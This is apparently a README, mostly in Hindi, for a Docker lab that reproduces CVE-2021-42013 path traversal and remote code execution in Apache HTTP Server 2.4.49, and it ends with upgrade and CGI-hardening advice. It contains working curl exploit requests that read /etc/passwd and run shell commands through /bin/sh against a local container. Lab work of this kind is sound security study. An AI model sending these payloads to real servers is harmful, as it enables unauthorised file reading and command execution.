
Docker वातावरण में Apache HTTP Server 2.4.49 (CVE-2021-42013) भेद्यता को दर्शाने वाला प्रयोगशाला अभ्यास।
इस परियोजना में, मैंने Apache HTTP Server 2.4.49 संस्करण में पाए गए CVE-2021-42013 भेद्यता को Docker का उपयोग करके बनाए गए अपने प्रयोगशाला वातावरण में प्रदर्शित किया है।
उद्देश्य यह जांचना है कि यह भेद्यता कैसे उत्पन्न होती है, कैसे काम करती है, और नियंत्रित वातावरण में सिस्टम पर इसके प्रभाव क्या होते हैं।
यह कार्य केवल शैक्षिक और प्रयोगशाला उद्देश्यों के लिए तैयार किया गया है।
.
├── Dockerfile
├── index.html
└── README.md
परियोजना चलाने से पहले निम्नलिखित स्थापित होना आवश्यक है।
सबसे पहले repository को अपने कंप्यूटर पर डाउनलोड करें।
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
फ़ोल्डर में प्रवेश करें।
cd apache-cve-2021-42013-lab
Docker इमेज बनाएँ।
docker build -t apache-2.4.49-src .
कंटेनर प्रारंभ करें।
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
कंटेनर के अंदर प्रवेश करें।
docker exec -it apache-src /bin/bash
Apache संस्करण की जाँच करें।
/usr/local/apache2/bin/httpd -v
कंटेनर से बाहर निकलने के लिए:
exit
CGI मॉड्यूल सक्रिय है या नहीं, यह आप निम्न कमांड से जाँच सकते हैं।
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
फिर Apache को पुनः प्रारंभ करें।
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
CGI मॉड्यूल को बंद करने के लिए:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
अधिक सिस्टम जानकारी देखने के लिए:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
स्थापना पूर्ण होने के बाद:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
RCE परिदृश्य को प्रदर्शित करने के लिए mod_cgi मॉड्यूल को सक्रिय करना आवश्यक है।
इस भेद्यता को दूर करने के लिए Apache HTTP Server को 2.4.51 या उससे नए संस्करण में अपग्रेड करने की अनुशंसा की जाती है। साथ ही, यदि CGI का उपयोग नहीं किया जा रहा है तो इसे अक्षम करने और केवल आवश्यक निर्देशिकाओं के लिए उचित पहुँच अनुमतियाँ परिभाषित करने की सलाह दी जाती है।